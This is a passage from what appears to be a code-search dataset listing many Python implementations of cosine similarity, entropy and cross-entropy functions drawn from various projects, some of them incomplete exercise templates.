orientations=8, pixels_per_cell=(16, 16),\n cells_per_block=(1, 1), visualize=True, multichannel=True)\n\t\tfd2, _ = hog(img2, orientations=8, pixels_per_cell=(16, 16),\n cells_per_block=(1, 1), visualize=True, multichannel=True)\n\t\t# Combine both\n\t\tdist = np.linalg.norm(fd1 - fd2)\n\t\taim = mean_pixel_intensity_diff(img1, img2)\n\t\tscore = 1 / (dist + aim + 1)\n\t\treturn score","def entropy(data):\n e = 0\n\n counter = collections.Counter(data)\n l = len(data)\n for count in counter.values():\n p_x = count / l\n e += - p_x * math.log2(p_x)\n\n return e","def cosineSimilarity(dict1,dict2):\n product1 = 0.0\n product2 = 0.0\n for key in dict1.keys():\n product1 += (dict1[key] * dict1[key])\n for key in dict2.keys():\n product2 += (dict2[key] * dict2[key])\n product1 = math.sqrt(product1)\n product2 = math.sqrt(product2)\n fenmu = product1 * product2\n fenzi = 0.0\n for key in dict1.keys():\n if key in dict2:\n fenzi += (dict1[key] * dict2[key])\n cosSim = fenzi / fenmu\n return cosSim","def calculate_similarity(self, tweets):\r\n if (len(tweets) == 1):\r\n return 0\r\n vectors = self.vectorizer.vectorize_data(tweets, False)\r\n\r\n temp = cosine_similarity(vectors[0:-1], vectors)\r\n temp = [item for sublist in temp for item in sublist]\r\n sim = sum(temp) / len(temp)\r\n return sim","def cross_entropy(X, y):\n return lambda theta: -y * np.log(logistic_hypothesis(theta)(X) + 1e-9) - (\n 1 - y\n ) * np.log(1 - logistic_hypothesis(theta)(X) + 1e-9)","def entropy(y):\n EPS = 0.0005\n\n # YOUR CODE HERE\n if len(y) == 0:\n return 0.\n \n pk = np.mean(y, axis=0)\n \n return - np.sum(pk * np.log(pk + EPS))","def conditional_entropy_hyper(self) -> float:\n pass","def entropy(y):\r\n\r\n # INSERT YOUR CODE HERE\r\n value, count = np.unique(y,return_counts = True)\r\n Hy = 0.0\r\n prob = count.astype(float)/len(y)\r\n for p in prob:\r\n Hy += -(p)*(np.log2(p))\r\n return Hy\r\n raise Exception('Function not yet implemented!')","def cosine(arr1, arr2):\n\n if arr1 is None or arr2 is None:\n return np.NaN\n if not isinstance(arr1, list):\n arr1 = [arr1]\n if any(pd.isnull(arr1)):\n return np.NaN\n if not isinstance(arr2, list):\n arr2 = [arr2]\n if any(pd.isnull(arr2)):\n return np.NaN\n # Create cosine measure object\n measure = sm.Cosine()\n # Call the function to compute the cosine measure.\n return measure.get_raw_score(arr1, arr2)","def similarity(self, word1: str, word2: str, metric='cosine') -> float:\n if 0 == self.word2idx.get(word1, 0) or 0 == self.word2idx.get(word2, 0):\n return 0.\n\n return self.similarity_vec(self[word1], self[word2], metric=metric)\n # vec1 = self.__getitem__(word1).reshape((1, -1))\n # vec2 = self.__getitem__(word2).reshape((1, -1))\n # return 1 - distance.cdist(vec1, vec2, metric=metric).reshape(-1)","def similarity_vec(self, vec1: numpy.ndarray, vec2: numpy.ndarray, metric='cosine') -> float:\n if numpy.count_nonzero(vec1) == 0 or numpy.count_nonzero(vec2) == 0:\n if metric == 'cosine':\n return 0.\n else:\n return 0.\n\n vec1 = vec1.reshape((1, -1))\n vec2 = vec2.reshape((1, -1))\n if metric == 'cosine':\n return (1 - distance.cdist(vec1, vec2, metric=metric).reshape(-1))[0]\n else:\n return distance.cdist(vec1, vec2, metric=metric).reshape(-1)[0]","def cross_entropy(self, yhat):\n n = len(self._y)\n c = 0.0\n for i in range(0, n):\n c += self._y[i] * log(\n yhat[i]) + (1 - self._y[i]) * log(1 - yhat[i])\n\n return c","def w2v_sim(self, s1, s2):\n v1 = self.word2vec.get_centroid_vector(s1)\n v2 = self.word2vec.get_centroid_vector(s2)\n return self.__cos_sim(v1, v2)","def cossim(corpus):\n files = os.listdir()\n vectorizer = TfidfVectorizer()\n trsfm = vectorizer.fit_transform(corpus)\n columns = vectorizer.get_feature_names()\n df_tfidf = pd.DataFrame(trsfm.toarray(), columns = columns, index = corpus)\n out = cosine_similarity(trsfm)\n df_result = pd.DataFrame(out, columns = files, index = files)\n return df_result"],"string":"[\n \"def compute_cosine_similarity(self):\\n cos_matrix = []\\n for i in range(len(self.train_vec)):\\n val = self.vec1 * self.train_vec[i]\\n cos_matrix.append(val[0])\\n out = np.argmax(cos_matrix)\\n print(self.train_output[out])\",\n \"def calculate_cosine_similarity(self):\\n tfidf_matrix = self.calculate_tfidf()\\n\\n cosine_similarity = linear_kernel(tfidf_matrix, tfidf_matrix) # Cosine similarity matrix calculation\\n\\n return cosine_similarity\",\n \"def get_cosine_sim(self):\\r\\n return CosineSimilarity().calculate_similarity(self.tweets)\",\n \"def cosine_similarity(self, source_doc, input_doc):\\n vectorizer = self.vectorizer or TfidfVectorizer(tokenizer=PlagiarismDetector.tokenize_and_stem, stop_words='english')\\n tfidf = vectorizer.fit_transform([source_doc, input_doc])\\n return ((tfidf * tfidf.T).A)[0, 1]\",\n \"def cosine_similarity(self, x, y):\\n return np.dot(x, y) / (np.linalg.norm(x) * np.linalg.norm(y))\",\n \"def get_cosine_similarity(doc1, doc2):\\n count_vectorizer = CountVectorizer(stop_words='english')\\n sparse_matrix = count_vectorizer.fit_transform(raw_documents=[doc1, doc2])\\n dtm = sparse_matrix.todense()\\n df_dtm = pd.DataFrame(data=dtm, \\n columns=count_vectorizer.get_feature_names(), \\n index=['doc1', 'doc2'])\\n similarity_matrix = cosine_similarity(df_dtm, df_dtm)\\n similarity_score = round(similarity_matrix[0][1], 6)\\n return similarity_score\",\n \"def test_cossim(self):\\n metrics = SimilarityMetrics()\\n test1 = metrics.cosine_similarity(np.asarray([1,1]),np.asarray([-1,1]))\\n np.testing.assert_almost_equal(test1,0.0)\\n\\n test2 = metrics.cosine_similarity(np.asarray([1,-1]),np.asarray([-1,1]))\\n np.testing.assert_almost_equal(test2,-1.0)\\n\\n test3 = metrics.cosine_similarity(np.asarray([1,1]),np.asarray([1,1]))\\n np.testing.assert_almost_equal(test3,1.0)\",\n \"def cosine_similarity(y_true, y_pred, axis=-1):\\n y_true = nn.l2_normalize(y_true, axis=axis)\\n y_pred = nn.l2_normalize(y_pred, axis=axis)\\n return -math_ops.reduce_sum(y_true * y_pred, axis=axis)\",\n \"def cosine_similarity(cls, vec_a, vec_b):\\n return np.dot(vec_a, vec_b) / \\\\\\n (np.linalg.norm(vec_a) * np.linalg.norm(vec_b))\",\n \"def cosine_similarity(x1, x2, dim=1, eps=1e-8):\\n w12 = torch.sum(x1 * x2, dim)\\n w1 = torch.norm(x1, 2, dim)\\n w2 = torch.norm(x2, 2, dim)\\n return (w12 / (w1 * w2).clamp(min=eps)).squeeze()\",\n \"def cosine_similarity(x1, x2, dim=1, eps=1e-8):\\r\\n w12 = torch.sum(x1 * x2, dim)\\r\\n w1 = torch.norm(x1, 2, dim)\\r\\n w2 = torch.norm(x2, 2, dim)\\r\\n return (w12 / (w1 * w2).clamp(min=eps)).squeeze()\",\n \"def compute_cosine_sim(vec1, vec2):\\n numer = np.dot(vec1.reshape((300,)), vec2.reshape((300,)))\\n denom = np.sqrt(np.sum(np.square(vec1.reshape(300, )))) * np.sqrt(\\n np.sum(np.square(vec2.reshape(300, ))))\\n\\n similarity = numer / denom\\n\\n return similarity\",\n \"def cosine_similarity(v1, v2):\\n return np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))\",\n \"def cosine_similarity(a, b):\\n cs = dot_product(a, b)/(norm(a) * norm(b))\\n return cs\",\n \"def cosine_sim_counters(a, b):\\n union_ab = sorted((a | b).keys())\\n veca = np.array([a[element] if element in a else 0 for element in union_ab])\\n vecb = np.array([b[element] if element in b else 0 for element in union_ab])\\n return np.dot(veca, vecb) / (np.linalg.norm(veca) * np.linalg.norm(vecb))\",\n \"def pairwise_cosine_similarity(x, y):\\n x = torch.div(x, torch.sqrt(torch.max(torch.sum(x ** 2), 1e-12)))\\n y = torch.div(y, torch.sqrt(torch.max(torch.sum(y ** 2), 1e-12)))\\n return torch.mm(x, torch.transpose(y, 1, 0))\",\n \"def cosine_similarity(v1: Vector, v2: Vector) -> float:\\n return dot_product(v1, v2) / (vector_len(v1) * vector_len(v2))\",\n \"def getGloveoCosineSimilarity(question1, question2):\\n questions = [question1, question2]\\n\\n ## for the sentences we need to get the count vectors\\n vec = CountVectorizer(max_features=5000, stop_words=None,binary=True)\\n count_vectors = vec.fit_transform(questions)\\n\\n ## get the vocabulary of words from the questions\\n vocab_index = vec.vocabulary_\\n\\n ## get the index of the words and embeddings\\n index_word = {v:k for k, v in vocab_index.items()}\\n\\n ## get the question vectors\\n question_vectors = np.zeros((count_vectors.shape[0], 300))\\n\\n ## iterate through count vectors for each word get the embeddings\\n ## for each embedding, we will then average by the number of words\\n ## this will be then used for cosine similarity\\n for i in range(count_vectors.shape[0]):\\n row = count_vectors[i, :].toarray()\\n word_ids = np.where(row > 0)[1]\\n word_counts = row[:, word_ids][0]\\n numWords = np.sum(word_counts)\\n\\n ## if there are no words, continue\\n if numWords == 0:\\n continue\\n\\n ## initialize the word embeddings to 0\\n word_embeddings = np.zeros((word_ids.shape[0], 300))\\n\\n ## update the word embeddings\\n for j in range(word_ids.shape[0]):\\n word_id = word_ids[j]\\n word_embeddings[j, :] = word_counts[j] * gloveDict[index_word[word_id]]\\n question_vectors[i, :] = np.sum(word_embeddings, axis=0) / numWords\\n\\n return(cosine_similarity(question_vectors[0], question_vectors[1])[0][0])\",\n \"def test_cosine_similarity_compiled():\\n vector1 = np.array([1, 1, 0, 0])\\n vector2 = np.array([1, 1, 1, 1])\\n score11 = cosine_similarity(vector1, vector1)\\n score12 = cosine_similarity(vector1, vector2)\\n score22 = cosine_similarity(vector2, vector2)\\n\\n assert score12 == 2 / np.sqrt(2 * 4), \\\"Expected different score.\\\"\\n assert score11 == score22 == 1.0, \\\"Expected different score.\\\"\",\n \"def cosine_similarity(vec1, vec2) -> float:\\n return np.dot(vec1, vec2) / (np.linalg.norm(vec1) * np.linalg.norm(vec2))\",\n \"def CosineSimilarity(test_vec, source_vecs):\\n cos_dist = 0\\n for source_vec in source_vecs:\\n cos_dist += FacePredictor.findCosineDistance(test_vec, source_vec)\\n return cos_dist / len(source_vecs)\",\n \"def tf_cosine_distance(self, a, b):\\n normalize_a = tf.nn.l2_normalize(a, -1)\\n normalize_b = tf.nn.l2_normalize(b, -1)\\n cos_similarity = tf.reduce_sum(\\n tf.multiply(normalize_a, normalize_b), axis=-1, keep_dims=True\\n )\\n return (1.0 - cos_similarity) / 2.0\",\n \"def cosine_similarity(self, v1: np.ndarray, v2: np.ndarray) -> float:\\n return np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))\\n # return cosine_similarity(v1, v2)[0][0]\",\n \"def compute_cosine_sim(vec1, vec2):\\r\\n\\r\\n vec1 = np.array(vec1)\\r\\n vec2 = np.array(vec2)\\r\\n return np.dot(vec1, vec2)/(norm(vec1) * norm(vec2))\",\n \"def entropy(data):\\n strings, lens = Counter(data), np.float(len(data))\\n return -sum(count / lens * np.log2(count / lens) for count in strings.values())\",\n \"def cEntropy(Y, X):\\n return jEntropy(Y, X) - entropy(X)\",\n \"def test_cosine_similarity_all_zeros_compiled():\\n vector1 = np.array([0, 0, 0, 0])\\n vector2 = np.array([1, 1, 1, 1])\\n score11 = cosine_similarity(vector1, vector1)\\n score12 = cosine_similarity(vector1, vector2)\\n score22 = cosine_similarity(vector2, vector2)\\n\\n assert score11 == score12 == 0.0, \\\"Expected different score.\\\"\\n assert score22 == 1.0, \\\"Expected different score.\\\"\",\n \"def cosine_sim(a: np.ndarray, \\n b: np.ndarray \\n ) -> float:\\n return (\\n 1 + a.dot(b) / \\n (np.linalg.norm(a)*np.linalg.norm(b))\\n ) / 2\",\n \"def cosine_similarity(vec_x, vec_y):\\n sim_prod = 0.0\\n len_x = 0\\n len_y = 0\\n\\n for ngram in vec_x:\\n len_x += vec_x[ngram] ** 2\\n\\n for ngram in vec_y:\\n len_y += vec_y[ngram] ** 2\\n\\n len_x = math.sqrt(len_x)\\n len_y = math.sqrt(len_y)\\n\\n for ngram in vec_x:\\n if ngram in vec_y:\\n sim_prod += vec_x[ngram] * vec_y[ngram]\\n\\n return sim_prod / (len_x * len_y)\",\n \"def calculate_cross_entropy(self, output, flat_labels): #completed, expensive, should be compiled\\n return -np.sum(np.log(np.clip(output, a_min=1E-12, a_max=1.0))[np.arange(flat_labels.shape[0]), flat_labels[:,1]])\",\n \"def shannon_entropy(probs):\\n return -(\\n math.sum([px * math.log2(px) if px != 0 and not (np.isclose(px, 0)) else 0 for px in probs])\\n )\",\n \"def condentropy(truelabels, labels):\\n labels=array(labels)\\n truelabels=array(truelabels)\\n \\n condent=0.\\n for l in xrange(min(labels),max(labels)+1):\\n sublabels = truelabels[ labels==l ]\\n condent += len(sublabels)*chl_entropy( sublabels )\\n return condent/float(len(labels))\",\n \"def cosine(X,Y=None,dense_output=True):\\n #Reemplace NaN with Zero\\n X[np.isnan(X)] = 0\\n if Y is not None:\\n Y[np.isnan(Y)] = 0\\n \\n return cosine_similarity(X,Y,dense_output)\",\n \"def similarity_function(feature1, feature2):\\n # 256 HOG, 18 HSV, 512 Encoder\\n # weight color more if using the full vector\\n if len(feature1) > 785:\\n salient1 = feature1[256:256 + 18].copy() # be careful not to modify feature vector in place\\n salient2 = feature2[256:256 + 18].copy()\\n feature1 = feature1.copy()\\n feature2 = feature2.copy()\\n feature1[256:256 + 18] = salient1 * 10\\n feature2[256:256 + 18] = salient2 * 10\\n\\n abs_distance = np.abs(feature1 - feature2)\\n return np.sum(abs_distance)\",\n \"def cosine_similarity(v1, v2):\\n sim = np.sum(v1*v2)/np.sqrt(np.sum(v1**2))/np.sqrt(np.sum(v2**2))\\n return sim\",\n \"def predict_cosine_similarities(sess, word_A, words_B):\\n\\n word_A_id, _ = sentence_to_word_ids(word_A, word_to_index)\\n words_B_ids, split_sentence = sentence_to_word_ids(words_B, word_to_index)\\n\\n evaluated_cos_similarities = sess.run(\\n cosine_similarities, \\n feed_dict={\\n tf_word_A_id: word_A_id,\\n tf_words_B_ids: words_B_ids\\n }\\n )\\n return evaluated_cos_similarities, split_sentence\",\n \"def shannon_entropy(counts):\\n freq = np.array(counts) * 1.0 / np.sum(counts)\\n return -np.sum([f * np.log2(f) for f in freq if f != 0])\",\n \"def test_cosine_similarity():\\n vector1 = np.array([1, 1, 0, 0])\\n vector2 = np.array([1, 1, 1, 1])\\n score11 = cosine_similarity.py_func(vector1, vector1)\\n score12 = cosine_similarity.py_func(vector1, vector2)\\n score22 = cosine_similarity.py_func(vector2, vector2)\\n\\n assert score12 == 2 / np.sqrt(2 * 4), \\\"Expected different score.\\\"\\n assert score11 == score22 == 1.0, \\\"Expected different score.\\\"\",\n \"def get_cosine_similarity(word2vec: Word2Vec) -> np.ndarray:\\n return cosine_similarity(word2vec.wv.vectors)\",\n \"def entropy(data):\\n\\n freqs = {}\\n suma = len(data)\\n\\n for i in range(0, len(data)):\\n freqs[data[i]] = 1.0 + freqs.get(data[i], 0)\\n\\n res = 0.0\\n for i in freqs:\\n res += (freqs[i] / suma) * log((freqs[i] / suma), 2)\\n return -res\",\n \"def compute_cosine(pred, obs):\\n assert(pred.numel() == obs.numel()), \\\\\\n 'Size of observation and prediction tensors much match. Received: pred %s, obs %s.'%(\\n str(pred.size()), str(obs.size()))\\n\\n def normalise(x, dim=1):\\n \\\"\\\"\\\" compute L2 norm and normalise x \\\"\\\"\\\"\\n norm = torch.sqrt( torch.pow(x,2.).sum(dim) )\\n if dim>0:\\n x /= norm.unsqueeze(dim)\\n return x\\n\\n # if we have one-dimensional tensors, compute cosine similarity along first dimension (0).\\n # if we have two-dimensional tensors, compute cosine similarity along second dimension (1).\\n # if we have three-dimensional tensors, compute cosine similarity along third dimension (2).\\n # i.e. first dimension is considered the feature vector (will be reduced to a scalar, the cos.sim.)\\n dim = len(pred.size()) - 1\\n assert(dim>=0 and dim <=2), \\\\\\n 'This function only computes cosine similarity between 1D, 2D or 3D tensors! Received dim==%i'%(dim)\\n\\n p_norm = normalise(pred, dim=dim)\\n v_norm = normalise(obs, dim=dim)\\n return torch.nn.functional.cosine_similarity( p_norm, v_norm, dim=dim )\",\n \"def get_similarity(df):\\n count = CountVectorizer()\\n count_matrix = count.fit_transform(df[\\\"bag_of_words\\\"])\\n cosine_sim = cosine_similarity(count_matrix, count_matrix)\\n return cosine_sim\",\n \"def cosine_similarity(v1, v2):\\n # Cosine Sim:\\n # Get the words that both have in common\\n\\n v1words = set(v1.keys())\\n v2words = set(v2.keys())\\n\\n numerator_words = v1words.intersection(v2words)\\n\\n # Multiply and sum those counts\\n numerator = 0.0\\n for word in numerator_words:\\n numerator += v1[word] * v2[word]\\n\\n\\n # Divide by the sqrt of the product of the sum of the squares of the counts\\n denominator = math.sqrt(math.magnitude(list(v1.values())) * math.magnitude(list(v2.values())))\\n\\n return numerator/denominator\",\n \"def compute_cosine_global_image_features(pred_location, pred_scale, obs):\\n pred_location, pred_scale, obs = reshape_global_image_features(pred_location, pred_scale, obs)\\n # compute cosine distance between ground truth image features and generated image features (zs)\\n image_cosine = compute_cosine(pred_location, obs)\\n image_cosine = torch.mean(image_cosine)\\n return image_cosine\",\n \"def get_cosine_similarities(keywords: List[str],\\n matrices: Matrices,\\n word2onehot: Dict[str, int]\\n ) -> None:\\n for i in combinations(keywords, 2):\\n print(i[0], i[1], cosine_sim(\\n matrices.embedding[\\n word2onehot[i[0]]], matrices.embedding[word2onehot[i[1]]\\n ]\\n ))\",\n \"def cosine_similarity(vector_x, vector_y):\\n if(len(vector_x)!=len(vector_y)):\\n raise Exception('Vectors must be the same dimensions')\\n \\n return 1-np.dot(vector_x,vector_y)/(np.linalg.norm(vector_x)*np.linalg.norm(vector_y))\",\n \"def test_cosine():\\n same_spectrum()\\n all_match()\\n no_match()\\n max_v_greedy()\",\n \"def cosine_similarity(X):\\n matrix = X.dot(X.transpose()).todense()\\n mat_len = len(matrix)\\n norms = [0] * mat_len\\n for i in range(0, mat_len):\\n norms[i] = 1.0 / np.sqrt(matrix.item((i, i)))\\n norm_mat = np.matrix(norms)\\n return np.multiply(norm_mat.transpose().dot(norm_mat), matrix)\",\n \"def cosine_similarity(v1, v2):\\n v1_len = 0\\n v2_len = 0\\n dot_product = 0\\n\\n for context_id, count in v1.items():\\n v1_len += count ** 2\\n if context_id in v2:\\n dot_product += count*v2[context_id]\\n for count in v2.values():\\n v2_len += count ** 2\\n\\n v1_len = math.sqrt(v1_len)\\n v2_len = math.sqrt(v2_len)\\n return dot_product/(v1_len * v2_len)\",\n \"def calculate_entropy(eval_token_count, training_model):\\n sum_of_counts = sum(eval_token_count.values())\\n cross_entropy = 0\\n mis = []\\n for ngram in eval_token_count:\\n if training_model.score(ngram[-1], list(ngram[0:3])) == 0 or sum_of_counts == 0:\\n mi = np.mean(mis) if len(mis) > 0 else np.log2(0.287)\\n else:\\n mi = training_model.logscore(ngram[-1], list(ngram[0:3]))\\n pi = eval_token_count[ngram] / sum_of_counts\\n mis.append(mi)\\n cross_entropy -= pi * mi\\n return cross_entropy\",\n \"def test_cosine_similarity_all_zeros():\\n vector1 = np.array([0, 0, 0, 0])\\n vector2 = np.array([1, 1, 1, 1])\\n score11 = cosine_similarity.py_func(vector1, vector1)\\n score12 = cosine_similarity.py_func(vector1, vector2)\\n score22 = cosine_similarity.py_func(vector2, vector2)\\n\\n assert score11 == score12 == 0.0, \\\"Expected different score.\\\"\\n assert score22 == 1.0, \\\"Expected different score.\\\"\",\n \"def cosin_sim_pairs(a, b):\\n wordsA = set(a.keys())\\n wordsB = set(b.keys())\\n inter = wordsA.intersection(wordsB)\\n if(len(inter) == 0):\\n return 0.0\\n aa, bb, ab = 0, 0, 0\\n for k in inter:\\n aa += a[k] ** 2\\n bb += b[k] ** 2\\n ab += a[k] * b[k]\\n for k in wordsA - inter:\\n aa += a[k] ** 2\\n for k in wordsB - inter:\\n bb += b[k] ** 2\\n return ab / float(math.sqrt(aa) * math.sqrt(bb))\",\n \"def sym_entropy(self, S, mapping):\\n if self.distance == 'euclidean':\\n distances = euclidean_distance(S, self.C)\\n else:\\n distances = cosine_distance(S, self.C)\\n Q = T.nnet.softmax(-distances / self.m)\\n\\n # Calculates the fuzzy membership vector for each histogram S\\n # Q, scan_u = theano.map(fn=self.sym_get_similarity, sequences=[S])\\n\\n Nk = T.sum(Q, axis=0)\\n\\n H = T.dot(mapping.T, Q)\\n P = H / Nk\\n\\n entropy_per_cluster = P * T.log2(P)\\n entropy_per_cluster = T.switch(T.isnan(entropy_per_cluster), 0, entropy_per_cluster)\\n entropy_per_cluster = entropy_per_cluster.sum(axis=0)\\n\\n Rk = Nk / Nk.sum()\\n E = -(entropy_per_cluster * Rk).sum()\\n return T.squeeze(E)\",\n \"def binary_cross_entropy(y_true, y_preds):\\n return np.sum(y_true * np.log(y_preds) + (1 - y_true) * np.log(1 - y_preds))\",\n \"def cosine_similarity(a, b):\\n\\n numerator = tf.reduce_sum(tf.multiply(a, b), axis=1)\\n denominator = tf.multiply(tf.norm(a, axis=1), tf.norm(b, axis=1))\\n cos_similarity = numerator/denominator\\n return cos_similarity\",\n \"def conditional_entropy(self) -> float:\\n pass\",\n \"def cosine_similarity(user, business):\\n return len(user.intersection(business)) / (math.sqrt(len(user)) * math.sqrt(len(business)))\",\n \"def ShannonEntropy(self,s):\\n e = s[np.nonzero(s)]**2 * np.log(s[np.nonzero(s)]**2)\\n return np.sum(e)\",\n \"def word_similarity(self):\\n y_true = []\\n y_pred = []\\n for i in open(\\\"data/word_sim_dataset.txt\\\").read().split('\\\\n'):\\n i = self.preprocessor(i)\\n w1 = i.split()[-1]\\n w2 = i.split()[-2] \\n st = float(i.split()[-3]) / 4 #dataset has scale from 0 to 4\\n \\n try:\\n w1 = self.embeddings_index[w1] \\n w2 = self.embeddings_index[w2] \\n w1 = w1 / np.linalg.norm(w1)\\n w2 = w2 / np.linalg.norm(w2)\\n y_pred.append(np.dot(w1,w2))\\n y_true.append(st)\\n except:\\n pass\\n if y_true == []:\\n return 1.0\\n return mean_squared_error(y_true, y_pred, squared=False)\",\n \"def entropy(dist):\\n #dist = array([max(d,1e-100) for d in dist])\\n dist = dist + 1e-20\\n return dot(dist,(log(1.0/dist) * (1.0/log(2.0))).T)\",\n \"def calculate_entropy(y):\\n\\tlog2 = lambda x: math.log(x) / math.log(2)\\n\\tunique_labels = np.unique(y)\\n\\tentropy = 0\\n\\tfor label in unique_labels:\\n\\t\\tcount = len(y[y == label])\\n\\t\\tp = count / len(y)\\n\\t\\tentropy += -p * log2(p)\\n\\treturn entropy\",\n \"def compute_similarity(x, y, metric='kl_divergence'):\\n from scipy.stats import entropy, pearsonr\\n # remove zeros slightly increase divergence\\n x = x[x != 0]\\n y = y[y != 0]\\n # outer join two distributions\\n eps = min(x.min(), y.min()) / 10\\n xy = pd.concat([x, y], axis=1).add(eps, fill_value=0)\\n x = xy.iloc[:, 0]\\n y = xy.iloc[:, 1]\\n if metric == 'pearson':\\n score, _ = pearsonr(x, y)\\n else:\\n score = entropy(x, y)\\n return score\",\n \"def get_entropy(self, documents):\\n entropy = 0\\n for c in self.classes:\\n count = 0\\n for document in documents:\\n if document.c == c:\\n count += 1\\n if count != 0 and len(documents) != 0:\\n ratio = count / len(documents)\\n entropy -= ratio * log(ratio, 2)\\n return entropy\",\n \"def cos_sim(com_feat,ref_feat):\\n # Fill this in\\n a = numpy.squeeze(com_feat)\\n b = numpy.squeeze(ref_feat)\\n return numpy.dot(a, b) / (numpy.linalg.norm(a) * numpy.linalg.norm(b))\",\n \"def cross_entropy(x, y):\\n\\n if len(y.shape) == 1:\\n return F.cross_entropy(x, y)\\n if y.shape[1] == 1:\\n y = y.squeeze(1)\\n return F.cross_entropy(x, y)\\n\\n return torch.mean(\\n torch.div(\\n F.binary_cross_entropy_with_logits(x, y, reduction=\\\"none\\\"),\\n torch.sum(y, dim=1),\\n )\\n )\",\n \"def _entropy(data):\\n hist = np.array(PIL.Image.fromarray(data).histogram())\\n hist = hist / hist.sum()\\n hist = hist[hist != 0]\\n return -np.sum(hist * np.log2(hist))\",\n \"def get_entropy(self, rows):\\n label_count = defaultdict(int)\\n total_count = 0\\n for row in rows:\\n label = row[self.target_attribute]\\n label_count[label] += 1\\n total_count += 1\\n return sum([-(float(label_count[label]) /\\n total_count) * np.log2(float(label_count[label]) / total_count)\\n for label in label_count.keys()])\",\n \"def sc(self) -> float:\\n a = np.dot(self.true - np.mean(self.true), self.predicted - np.mean(self.predicted))\\n b = np.linalg.norm(self.true - np.mean(self.true))\\n c = np.linalg.norm(self.predicted - np.mean(self.predicted))\\n e = b * c\\n return float(np.arccos(a / e))\",\n \"def idf_modified_cosine(x, y, idf):\\n result = 0\\n try:\\n tf_x = [dict([word, int(tf)] for word, tf in dict(\\n np.array(np.unique(x, return_counts=True)).T).items())][0]\\n tf_y = [dict([word, int(tf)] for word, tf in dict(\\n np.array(np.unique(y, return_counts=True)).T).items())][0]\\n result = sum([tf_x[w] * tf_y[w] * (idf[w]**2)\\n\\t\\t for w in tf_x.keys() & tf_y.keys()]) / ((\\n sum([(tf_x[w] * idf[w])**2\\n for w in tf_x.keys()])**0.5) * (\\n sum([(tf_y[w] * idf[w])**2\\n for w in tf_y.keys()])**0.5))\\n except:\\n print(r'x:', x, r'y:', y)\\n pass\\n return result\",\n \"def __cos_sim(self, v1, v2):\\n if np.count_nonzero(v1) == 0 or np.count_nonzero(v2) == 0:\\n # whenever at least one of the vectors is all zeros, spatial.distance.cosine will fail by returning nan\\n ret = 0\\n else:\\n ret = 1 - spatial.distance.cosine(v1, v2)\\n return ret\",\n \"def entropy(data):\\n n, m = np.shape(data)\\n data = np.tanh(data)\\n data = data / np.sum(data, axis=0)\\n a = data * 1.0\\n a[np.where(data == 0)] = 0.000001\\n\\n e = (-1.0 / np.log(n)) * np.sum(data * np.log(a), axis=0)\\n w = (1 - e) / np.sum(1 - e)\\n return w\",\n \"def get_cosin_sim(question, contexts):\\r\\n cos_sim_for_question = []\\r\\n for context in contexts :\\r\\n cv = CountVectorizer(stop_words=MY_STOPWORDS, lowercase=False)\\r\\n matrix = cv.fit_transform(pd.DataFrame([question, context])[0]).toarray()\\r\\n cos_sim = dot(matrix[0], matrix[1])/(norm(matrix[0])*norm(matrix[1]))\\r\\n cos_sim_for_question.append(cos_sim)\\r\\n return pd.Series(cos_sim_for_question)\",\n \"def calc_entropy(data_set):\\n size = len(data_set)\\n label_counts = {}\\n for feat_vector in data_set:\\n label = feat_vector[-1]\\n label_counts.setdefault(label, 0)\\n label_counts[label] += 1\\n\\n entropy = 0.0\\n for key, count in label_counts.iteritems():\\n prob = float(count) / size\\n entropy -= prob * log(prob, 2)\\n\\n return entropy\",\n \"def conditional_entropy(f1, f2):\\n\\n ce = ee.entropyd(f1) - ee.midd(f1, f2)\\n return ce\",\n \"def cosine_sim(im, s):\\n return im.mm(s.t()) #image.mm(sentence.t()) & mm() Performs a matrix multiplication of the matrices \",\n \"def entropy(x):\\n nz = np.nonzero(x)[0]\\n return -np.sum(x[nz]*np.log2(x[nz]))\",\n \"def calculate_cosine_dist(main_text, new_text):\\n wordbag = set(\\\" \\\".join([main_text, new_text]).split(\\\" \\\"))\\n dot_prod = 0\\n main_text = main_text.split(\\\" \\\")\\n new_text = new_text.split(\\\" \\\")\\n\\n for word in wordbag:\\n if word in main_text and word in new_text:\\n # only worth looking at if word is in both. Otherwise dot prod = 0\\n count_A = sum(np.array(main_text) == word)\\n count_B = sum(np.array(new_text) == word)\\n dot_prod += count_A * count_B\\n\\n return float(dot_prod) / (len(main_text) * len(new_text))\",\n \"def compute_similarity(self, text1, text2):\\n\\n text1_dist = self.predict(text1)[0]\\n text2_dist = self.predict(text2)[0]\\n return jensenshannon(text1_dist, text2_dist)\",\n \"def _entropy(self, y):\\n # Get size\\n n = y.shape[0]\\n summation = 0\\n\\n # Summatory\\n for c_i in np.unique(y):\\n prob = sum(y == c_i) / float(n)\\n summation += prob * np.log2(prob)\\n\\n return -summation\",\n \"def cosine_similarity_tensorflow(tf_word_representation_A, tf_words_representation_B):\\n a_normalized = tf.nn.l2_normalize(tf_word_representation_A, axis=-1)\\n b_normalized = tf.nn.l2_normalize(tf_words_representation_B, axis=-1)\\n similarity = tf.reduce_sum(\\n tf.multiply(a_normalized, b_normalized), \\n axis=-1\\n )\\n \\n return similarity\",\n \"def _cosine_matrix(self, x1, x2):\\n # expand h1 shape to (batch_size, x1_timesteps, 1, embedding_size)\\n x1 = K.expand_dims(x1, axis=2)\\n # expand x2 shape to (batch_size, 1, x2_timesteps, embedding_size)\\n x2 = K.expand_dims(x2, axis=1)\\n # cosine matrix (batch_size, h1_timesteps, h2_timesteps)\\n cos_matrix = self._cosine_similarity(x1, x2)\\n return cos_matrix\",\n \"def compute_cosine_similarity(base_vector, target_vector):\\n\\n np.seterr(all='print')\\n cosine_similarity = 0\\n\\n try:\\n base_vector = np.longdouble(base_vector)\\n target_vector = np.longdouble(target_vector)\\n vector_dot_products = np.dot(base_vector, target_vector)\\n vector_norms = np.linalg.norm(base_vector) * np.linalg.norm(target_vector)\\n cosine_similarity = np.divide(vector_dot_products, vector_norms)\\n\\n if vector_norms == 0.0:\\n print 'Error in vec in compute_cosine_similarity'\\n print target_vector\\n\\n except Exception, e:\\n print(str(e))\\n\\n return cosine_similarity\",\n \"def cosine_similarity(u, v):\\n\\n distance = 0.0\\n\\n ### START CODE HERE ###\\n # Compute the dot product between u and v (≈1 line)\\n dot = np.dot(u, v)\\n # Compute the L2 norm of u (≈1 line)\\n norm_u = np.sqrt(np.dot(u, u))\\n\\n # Compute the L2 norm of v (≈1 line)\\n norm_v = np.sqrt(np.dot(v, v)) 